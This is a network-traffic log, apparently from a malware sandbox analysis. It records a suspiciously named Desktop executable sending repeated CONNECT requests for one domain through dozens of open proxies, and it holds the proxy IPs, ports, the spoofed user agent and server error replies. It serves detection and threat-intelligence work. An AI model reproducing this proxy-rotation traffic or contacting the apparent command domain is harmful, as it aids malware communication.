Mar 11, 2024 16:42:21.853790998 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.11	52281	203.74.125.18	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.712101936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.014045000 CET	741	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.25.0 Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.25.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.11	52316	47.229.171.150	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.712323904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.485397100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.376677990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.985809088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.189006090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.485675097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.688838959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:41.094796896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:53.969775915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.11	51321	58.20.248.139	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.726397038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.116194963 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.11	52284	47.242.234.237	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.730961084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.11	52344	131.186.37.99	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.731466055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.11	52197	175.183.82.221	8193	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.733494043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.11	52274	123.126.158.50	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.736025095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.128801107 CET	536	IN	HTTP/1.1 502 Bad Gateway Server: openresty Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 556 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE a
Mar 11, 2024 16:42:22.128808975 CET	169	IN	Data Raw: 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e Data Ascii: nd Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.11	52288	58.75.126.235	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.736515999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.11	51418	60.188.102.225	18080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.750277042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.11	52289	43.133.74.172	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.750823975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.11	52307	37.32.98.160	8998	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.751198053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.438729048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.427953959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.329812050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.141994953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.867464066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.602351904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.907810926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.672832966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.11	52290	1.15.62.12	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.751782894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.11	52530	5.161.108.72	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.763046026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.11	52532	5.161.108.72	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.764564037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.11	52534	5.161.108.72	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.766582966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.11	52322	47.242.15.120	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.770481110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.11	52535	5.161.108.72	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.770915031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.11	52328	185.38.111.1	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.781697035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.102941990 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Length: 0
Mar 11, 2024 16:42:22.447657108 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.11	51454	91.134.140.160	12217	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.785696983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.876247883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.986078978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.985883951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.985821009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.079083920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.079303026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.11	51434	152.32.130.117	18080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.786015034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.11	50034	103.231.248.98	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.790560007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
